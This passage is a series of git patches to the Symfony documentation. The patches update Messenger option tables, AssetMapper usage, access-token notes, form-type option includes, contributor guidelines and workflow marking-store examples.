+============================  ====================================================================================================
+``bus``                       Name of the bus from which the handler can receive messages, by default all buses.
+``fromTransport``             Name of the transport from which the handler can receive messages, by default all transports.
+``handles``                   Type of messages (FQCN) that can be processed by the handler, only needed if can't be guessed by
+                              type-hint.
+``method``                    Name of the method that will process the message, only if the target is a class.
+``priority``                  Priority of the handler when multiple handlers can process the same message.
+============================  ====================================================================================================
 
 .. _messenger-handler-config:
 
@@ -2079,11 +2084,16 @@ by tagging the handler service with ``messenger.message_handler``
 
 Possible options to configure with tags are:
 
-* ``bus``
-* ``from_transport``
-* ``handles``
-* ``method``
-* ``priority``
+============================  ====================================================================================================
+Option                        Description
+============================  ====================================================================================================
+``bus``                       Name of the bus from which the handler can receive messages, by default all buses.
+``from_transport``            Name of the transport from which the handler can receive messages, by default all transports.
+``handles``                   Type of messages (FQCN) that can be processed by the handler, only needed if can't be guessed by
+                              type-hint.
+``method``                    Name of the method that will process the message.
+``priority``                  Priority of the handler when multiple handlers can process the same message.
+============================  ====================================================================================================
 
 .. _handler-subscriber-options:
 

From 600b3b191f485c9f67ab97416ff174c5a7b0af90 Mon Sep 17 00:00:00 2001
From: David Buchmann <david.buchmann@liip.ch>
Date: Wed, 8 Nov 2023 16:38:06 +0100
Subject: [PATCH 4026/5766] hint for mapping request payload error messages

Co-authored-by: Oskar Stark <oskarstark@googlemail.com>
---
 controller.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/controller.rst b/controller.rst
index 0f2d5b76bac..6837c28c837 100644
--- a/controller.rst
+++ b/controller.rst
@@ -502,6 +502,14 @@ payload formats::
         // ...
     }
 
+.. tip::
+
+    If you build a JSON API, make sure to declare your route as using the JSON
+    :ref:`format <routing-format-parameter>`. This will make the error handling
+    output a JSON response in case of validation errors, rather than an HTML page::
+
+        #[Route('/dashboard', name: 'dashboard', format: 'json')]
+
 Make sure to install `phpstan/phpdoc-parser`_ and `phpdocumentor/type-resolver`_
 if you want to map a nested array of specific DTOs::
 

From 809f169e93cbb4069cbc912c4059c5a293996281 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 3 Nov 2023 12:18:51 +0100
Subject: [PATCH 4027/5766] Add info about feature freeze period

---
 contributing/code/pull_requests.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 1d6cf85ff3c..554f3482df6 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -147,6 +147,12 @@ work:
     for the ``5.4`` branch, the PR will also be applied by the core team on
     all the ``6.x`` branches that are still maintained.
 
+During the :ref:`stabilization phase <contributing-release-development>`, the development branch is in
+feature freeze. Please help the community prepare for the new version release. If you want to submit a
+new feature pull request, you should target the next version. For example, if ``6.3`` reached feature
+freeze, new features should target ``6.4``. If the ``6.4`` branch does not yet exist, target ``6.3``
+and rebase your pull requests once the branch is created.
+
 Create a Topic Branch
 ~~~~~~~~~~~~~~~~~~~~~
 

From 6cb1ca8cfec938a596a8a5d3587908d5c4d61d6d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 9 Nov 2023 11:44:40 +0100
Subject: [PATCH 4028/5766] [SecurityBundle] Improve support for authenticators
 that don't need a user provider

---
 security/access_token.rst | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/security/access_token.rst b/security/access_token.rst
index 922e6906f58..85655d8d670 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -709,6 +709,25 @@ create your own User from the claims, you must
         }
     }
 
+Using Self-Claimed Tokens
+-------------------------
+
+You may use tokens that are self-claimed, meaning that they contain all
+the information needed to authenticate the user. This happens when a security
+token doesn't need a user provider to get all needed information about the
+user. For instance, a JWT can be self-claimed when it contains a username as
+well as the roles of the user.
+
+When using self-claimed tokens with stateless firewalls, you can omit to
+configure a user provider. The token authenticator will use the token to
+create a user object with the claims of the token. This means that you can
+skip creating your own user provider.
+
+.. versionadded:: 6.3
+
+    The possibility to omit the user provider in case of stateless firewalls
+    and self-claimed tokens was introduced in Symfony 6.3.
+
 .. _`JSON Web Tokens (JWT)`: https://datatracker.ietf.org/doc/html/rfc7519
 .. _`SAML2 (XML structures)`: https://docs.oasis-open.org/security/saml/Post2.0/sstc-saml-tech-overview-2.0.html
 .. _`RFC6750`: https://datatracker.ietf.org/doc/html/rfc6750

From 68dd4da65f5a89905cd7fb00d80ad5eab9c1f815 Mon Sep 17 00:00:00 2001
From: Robin Delbaere <hello@rdelbaere.fr>
Date: Thu, 9 Nov 2023 21:41:41 +0100
Subject: [PATCH 4029/5766] Added missing link for label_html in some form
 types

---
 reference/forms/types/checkbox.rst   | 2 ++
 reference/forms/types/choice.rst     | 2 ++
 reference/forms/types/collection.rst | 2 ++
 reference/forms/types/color.rst      | 2 ++
 reference/forms/types/country.rst    | 2 ++
 reference/forms/types/currency.rst   | 2 ++
 reference/forms/types/email.rst      | 2 ++
 reference/forms/types/entity.rst     | 2 ++
 reference/forms/types/enum.rst       | 2 ++
 reference/forms/types/file.rst       | 2 ++
 reference/forms/types/integer.rst    | 2 ++
 reference/forms/types/language.rst   | 2 ++
 reference/forms/types/locale.rst     | 2 ++
 reference/forms/types/money.rst      | 2 ++
 reference/forms/types/number.rst     | 2 ++
 reference/forms/types/password.rst   | 2 ++
 reference/forms/types/percent.rst    | 2 ++
 reference/forms/types/radio.rst      | 2 ++
 reference/forms/types/range.rst      | 2 ++
 reference/forms/types/search.rst     | 2 ++
 reference/forms/types/tel.rst        | 2 ++
 reference/forms/types/text.rst       | 2 ++
 reference/forms/types/textarea.rst   | 2 ++
 reference/forms/types/timezone.rst   | 2 ++
 reference/forms/types/ulid.rst       | 2 ++
 reference/forms/types/url.rst        | 2 ++
 reference/forms/types/uuid.rst       | 2 ++
 27 files changed, 54 insertions(+)

diff --git a/reference/forms/types/checkbox.rst b/reference/forms/types/checkbox.rst
index 2e699464eee..472d6f84024 100644
--- a/reference/forms/types/checkbox.rst
+++ b/reference/forms/types/checkbox.rst
@@ -81,6 +81,8 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 77a6495a2ab..d349fc76103 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -263,6 +263,8 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index c4aa8be8a7f..785853374b6 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -310,6 +310,8 @@ error_bubbling
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/color.rst b/reference/forms/types/color.rst
index 62811d0386d..82e36417552 100644
--- a/reference/forms/types/color.rst
+++ b/reference/forms/types/color.rst
@@ -77,6 +77,8 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/country.rst b/reference/forms/types/country.rst
index 3cd748c74c8..e5c14c547d7 100644
--- a/reference/forms/types/country.rst
+++ b/reference/forms/types/country.rst
@@ -110,6 +110,8 @@ The actual default value of this option depends on other field options:
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/currency.rst b/reference/forms/types/currency.rst
index 7417ac636c2..c68ce61215c 100644
--- a/reference/forms/types/currency.rst
+++ b/reference/forms/types/currency.rst
@@ -91,6 +91,8 @@ The actual default value of this option depends on other field options:
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/email.rst b/reference/forms/types/email.rst
index 90752042409..9045bba8cc4 100644
--- a/reference/forms/types/email.rst
+++ b/reference/forms/types/email.rst
@@ -54,6 +54,8 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index e87336c2ec6..6cd13520c9c 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -321,6 +321,8 @@ The actual default value of this option depends on other field options:
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index 7a01f41f27b..43ca7833a38 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -172,6 +172,8 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/file.rst b/reference/forms/types/file.rst
index 29601e860f8..e306b1b120d 100644
--- a/reference/forms/types/file.rst
+++ b/reference/forms/types/file.rst
@@ -129,6 +129,8 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/integer.rst b/reference/forms/types/integer.rst
index b88211d9ae5..8ea50e3158d 100644
--- a/reference/forms/types/integer.rst
+++ b/reference/forms/types/integer.rst
@@ -108,6 +108,8 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst
index 2ede5f38e9f..0fd0a63ecd2 100644
--- a/reference/forms/types/language.rst
+++ b/reference/forms/types/language.rst
@@ -131,6 +131,8 @@ The actual default value of this option depends on other field options:
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/locale.rst b/reference/forms/types/locale.rst
index eb8075093ed..c869155bdc2 100644
--- a/reference/forms/types/locale.rst
+++ b/reference/forms/types/locale.rst
@@ -104,6 +104,8 @@ The actual default value of this option depends on other field options:
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst
index 99631f3e1e4..23955947e40 100644
--- a/reference/forms/types/money.rst
+++ b/reference/forms/types/money.rst
@@ -130,6 +130,8 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/number.rst b/reference/forms/types/number.rst
index 81b71bfe91b..ea0aa5de5a2 100644
--- a/reference/forms/types/number.rst
+++ b/reference/forms/types/number.rst
@@ -95,6 +95,8 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/password.rst b/reference/forms/types/password.rst
index e3e11ecb02f..3e92c48aeda 100644
--- a/reference/forms/types/password.rst
+++ b/reference/forms/types/password.rst
@@ -76,6 +76,8 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/percent.rst b/reference/forms/types/percent.rst
index 803badd2971..f3bc56356cb 100644
--- a/reference/forms/types/percent.rst
+++ b/reference/forms/types/percent.rst
@@ -124,6 +124,8 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/radio.rst b/reference/forms/types/radio.rst
index 72acd123af3..7702b87cbad 100644
--- a/reference/forms/types/radio.rst
+++ b/reference/forms/types/radio.rst
@@ -60,6 +60,8 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/range.rst b/reference/forms/types/range.rst
index 95e4bcff64c..294023ce0c6 100644
--- a/reference/forms/types/range.rst
+++ b/reference/forms/types/range.rst
@@ -69,6 +69,8 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/mapped.rst.inc
 
 .. include:: /reference/forms/types/options/required.rst.inc
diff --git a/reference/forms/types/search.rst b/reference/forms/types/search.rst
index d99b8fefc0a..e38021bc461 100644
--- a/reference/forms/types/search.rst
+++ b/reference/forms/types/search.rst
@@ -54,6 +54,8 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/tel.rst b/reference/forms/types/tel.rst
index cca1c52a4be..675f8e3f5cd 100644
--- a/reference/forms/types/tel.rst
+++ b/reference/forms/types/tel.rst
@@ -60,6 +60,8 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/text.rst b/reference/forms/types/text.rst
index dd690c6e6df..0527c5405e7 100644
--- a/reference/forms/types/text.rst
+++ b/reference/forms/types/text.rst
@@ -46,6 +46,8 @@ an empty string, explicitly set the ``empty_data`` option to an empty string.
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/textarea.rst b/reference/forms/types/textarea.rst
index e642cbdb4db..687d1bb225b 100644
--- a/reference/forms/types/textarea.rst
+++ b/reference/forms/types/textarea.rst
@@ -52,6 +52,8 @@ an empty string, explicitly set the ``empty_data`` option to an empty string.
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/timezone.rst b/reference/forms/types/timezone.rst
index 7e0d5b8beb0..f11ee72f4d5 100644
--- a/reference/forms/types/timezone.rst
+++ b/reference/forms/types/timezone.rst
@@ -125,6 +125,8 @@ The actual default value of this option depends on other field options:
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/ulid.rst b/reference/forms/types/ulid.rst
index 9ad8e7a6fee..33ab0ed6f9f 100644
--- a/reference/forms/types/ulid.rst
+++ b/reference/forms/types/ulid.rst
@@ -62,6 +62,8 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/url.rst b/reference/forms/types/url.rst
index b75a2b1db0c..5f97fcb89a4 100644
--- a/reference/forms/types/url.rst
+++ b/reference/forms/types/url.rst
@@ -67,6 +67,8 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/uuid.rst b/reference/forms/types/uuid.rst
index 6c0cd576cae..0b95d9db50d 100644
--- a/reference/forms/types/uuid.rst
+++ b/reference/forms/types/uuid.rst
@@ -62,6 +62,8 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/label_attr.rst.inc
 
+.. include:: /reference/forms/types/options/label_html.rst.inc
+
 .. include:: /reference/forms/types/options/label_format.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc

From 71cd26bd017f11805b8d5930255c07a8d656c9a3 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sat, 11 Nov 2023 17:28:32 +0100
Subject: [PATCH 4030/5766] [Setup] Fix Platform.sh docs URL for Symfony
 technical docs

---
 setup/symfony_server.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index b4b416a2256..1c1ce448245 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -527,7 +527,7 @@ help debug any issues.
 .. _`symfony-cli/symfony-cli GitHub repository`: https://github.com/symfony-cli/symfony-cli
 .. _`Docker`: https://en.wikipedia.org/wiki/Docker_(software)
 .. _`Platform.sh`: https://symfony.com/cloud/
-.. _`Read Platform.sh for Symfony technical docs`: https://symfony.com/doc/master/cloud/intro.html
+.. _`Read Platform.sh for Symfony technical docs`: https://symfony.com/doc/current/cloud/index.html
 .. _`Proxy settings in Windows`: https://www.dummies.com/computers/operating-systems/windows-10/how-to-set-up-a-proxy-in-windows-10/
 .. _`Proxy settings in macOS`: https://support.apple.com/guide/mac-help/enter-proxy-server-settings-on-mac-mchlp2591/mac
 .. _`Proxy settings in Ubuntu`: https://help.ubuntu.com/stable/ubuntu-help/net-proxy.html.en

From 9f1f17f0795c55dfcfc04a76b1b22eb59727a2d4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Freerich=20B=C3=A4thge?= <freerich.baethge@zeitgeist.io>
Date: Fri, 3 Nov 2023 22:30:27 +0100
Subject: [PATCH 4031/5766] [AssetMapper] Remove `--download` option that has
 become obsolete

---
 frontend/asset_mapper.rst | 35 +++++++++++++++++------------------
 1 file changed, 17 insertions(+), 18 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 3d224e2d657..fb084346056 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -200,9 +200,9 @@ this can be done by importing its full URL, like from a CDN:
 
     import { Alert } from 'https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/+esm';
 
-But yikes! Needing to include that URL is a pain! Instead, we can add
-this to our "importmap" via the ``importmap:require`` command. This command can
-be used to download any `npm package`_:
+But yikes! Needing to include that URL is a pain! Instead, we can add this package
+to our "importmap" via the ``importmap:require`` command. This command can be used
+to add any `npm package`_:
 
 .. code-block:: terminal
 
@@ -219,35 +219,34 @@ This adds the ``bootstrap`` package to your ``importmap.php`` file::
         ],
     ];
 
-Now you can import the ``bootstrap`` package like normal:
+.. note::
+
+    Sometimes, a package - like ``bootstrap`` - will have one or more dependencies,
+    such as ``@popperjs/core``. The ``importmap:require`` command will add both the
+    main package *and* its dependencies.
+
+After adding/updating the package in your ``importmap.php`` file, all new packages
+will be downloaded into an ``assets/vendor/`` directory.
+
+Now you can import the ``bootstrap`` package like usual:
 
 .. code-block:: javascript
 
     import { Alert } from 'bootstrap';
     // ...
 
-If you want to download the package locally, use the ``--download`` option:
+It's recommended to ignore the ``assets/vendor/`` directory and not commit it to
+your repository. Therefore, you'll need to run the ``php bin/console importmap:install``
+command to download the files on other computers if some files are missing:
 
 .. code-block:: terminal
 
-    $ php bin/console importmap:require bootstrap --download
-
-This will download the package into an ``assets/vendor/`` directory and update
-the ``importmap.php`` file to point to it. It's recommended to ignore this
-directory and not commit it to your repository. Therefore, you'll need to run the
-``php bin/console importmap:install`` command to download the files on other
-computers if some files are missing.
+    $ php bin/console importmap:install
 
 .. versionadded:: 6.4
 
     The ``importmap:install`` command was introduced in Symfony 6.4.
 
-.. note::
-
-    Sometimes, a package - like ``bootstrap`` - will have one or more dependencies,
-    such as ``@popperjs/core``. The ``download`` option will download both the main
-    package *and* its dependencies.
-
 You can check for available updates for your third-party packages by running:
 
 .. code-block:: terminal

From aa817e1bd858fd28da230670bf96b5f80b94af14 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 13 Nov 2023 09:33:03 +0100
Subject: [PATCH 4032/5766] Tweak

---
 components/filesystem.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index 4fdcaf54b8f..600fdf3ae9e 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -444,7 +444,7 @@ to check a list of paths for a common base path::
     );
     // => /var/www/vhosts/project/httpdocs
 
-Use this path together to shorten the stored paths::
+Use this common base path to shorten the stored paths::
 
     return [
         $basePath.'/config/config.yaml',

From 48db6a2d44bbf02af18c6607b93d6142127d1af5 Mon Sep 17 00:00:00 2001
From: Tobias Sette <tobiasette@gmail.com>
Date: Thu, 26 Oct 2023 14:49:08 -0300
Subject: [PATCH 4033/5766] Update performance.rst to use
 $container->getParameterBag()

---
 performance.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/performance.rst b/performance.rst
index 847da532769..41425dafb2f 100644
--- a/performance.rst
+++ b/performance.rst
@@ -81,7 +81,7 @@ container into a single file, which could improve performance when using
         // config/services.php
 
         // ...
-        $container->parameters()->set('.container.dumper.inline_factories', true);
+        $configurator->parameters()->set('.container.dumper.inline_factories', true);
 
 .. _performance-use-opcache:
 

From c86dc72fbb1b7657b49b22478f863501ad74e64a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 13 Nov 2023 09:52:21 +0100
Subject: [PATCH 4034/5766] Updated code example

---
 performance.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/performance.rst b/performance.rst
index 41425dafb2f..fac10407759 100644
--- a/performance.rst
+++ b/performance.rst
@@ -79,9 +79,11 @@ container into a single file, which could improve performance when using
     .. code-block:: php
 
         // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        // ...
-        $configurator->parameters()->set('.container.dumper.inline_factories', true);
+        return function(ContainerConfigurator $container): void {
+            $container->parameters()->set('.container.dumper.inline_factories', true);
+        };
 
 .. _performance-use-opcache:
 

From e1d8df73f0313c706780ac8589de1b616b8e934a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 13 Nov 2023 10:26:29 +0100
Subject: [PATCH 4035/5766] Tweak

---
 components/console/helpers/questionhelper.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 08cb75149e2..d5d08f863b8 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -184,9 +184,9 @@ this use :method:`Symfony\\Component\\Console\\Question\\ChoiceQuestion::setMult
     }
 
 Now, when the user enters ``1,2``, the result will be:
-``You have just selected: blue, yellow``.
-The user can enter string: ``blue,yellow`` as well or even mix string and
-the index of the choice like ``blue,2``.
+``You have just selected: blue, yellow``. The user can also enter strings
+(e.g. ``blue,yellow``) and even mix strings and the index of the choices
+(e.g. ``blue,2``).
 
 If the user does not enter anything, the result will be:
 ``You have just selected: red, blue``.

From 175807f8bc957d1644e8f13820aa215e6860e895 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 12 Nov 2023 11:39:54 +0100
Subject: [PATCH 4036/5766] [Workflow] Mention the
 `workflow.marking_store.service` option

---
 workflow.rst | 77 ++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 77 insertions(+)

diff --git a/workflow.rst b/workflow.rst
index e9e3dff2939..422400476f0 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -813,6 +813,83 @@ place::
         }
     }
 
+Creating Your Own Marking Store
+-------------------------------
+
+You may need to implement your own store to execute some additional logic
+when the marking is updated. For example, you may have some specific needs
+to store the marking on certain workflows. To do this, you need to implement
+the
+:class:`Symfony\\Component\\Workflow\\MarkingStore\\MarkingStoreInterface`::
+
+    namespace App\Workflow\MarkingStore;
+
+    use Symfony\Component\Workflow\Marking;
+    use Symfony\Component\Workflow\MarkingStore\MarkingStoreInterface;
+
+    final class BlogPostMarkingStore implements MarkingStoreInterface
+    {
+        public function getMarking(BlogPost $subject): Marking
+        {
+            return new Marking([$subject->getCurrentPlace() => 1]);
+        }
+
+        public function setMarking(BlogPost $subject, Marking $marking): void
+        {
+            $marking = key($marking->getPlaces());
+            $subject->setCurrentPlace($marking);
+        }
+    }
+
+Once your marking store is implemented, you can configure your workflow to use
+it:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/workflow.yaml
+        framework:
+            workflows:
+                blog_publishing:
+                    # ...
+                    marking_store:
+                        service: 'App\Workflow\MarkingStore\BlogPostMarkingStore'
+
+    .. code-block:: xml
+
+        <!-- config/packages/workflow.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"
+        >
+            <framework:config>
+                <framework:workflow name="blog_publishing">
+                    <!-- ... -->
+                    <framework:marking-store service="App\Workflow\MarkingStore\BlogPostMarkingStore"/>
+                </framework:workflow>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/workflow.php
+        use App\Workflow\MarkingStore\ReflectionMarkingStore;
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            // ...
+
+            $blogPublishing = $framework->workflows()->workflows('blog_publishing');
+            // ...
+
+            $blogPublishing->markingStore()
+                ->service(BlogPostMarkingStore::class);
+        };
+
 Usage in Twig
 -------------
 

From 536ea8b01d85298a80b4520bb818102951d807bb Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 14 Nov 2023 10:05:43 +0100
Subject: [PATCH 4037/5766] [Messenger] Fix table indentation

---
 messenger.rst | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index ad15417aee5..d86162a3435 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2016,16 +2016,16 @@ You can configure your handler by passing options to the attribute::
 
 Possible options to configure with the attribute are:
 
-============================  ====================================================================================================
-Option                        Description
-============================  ====================================================================================================
-``bus``                       Name of the bus from which the handler can receive messages, by default all buses.
-``fromTransport``             Name of the transport from which the handler can receive messages, by default all transports.
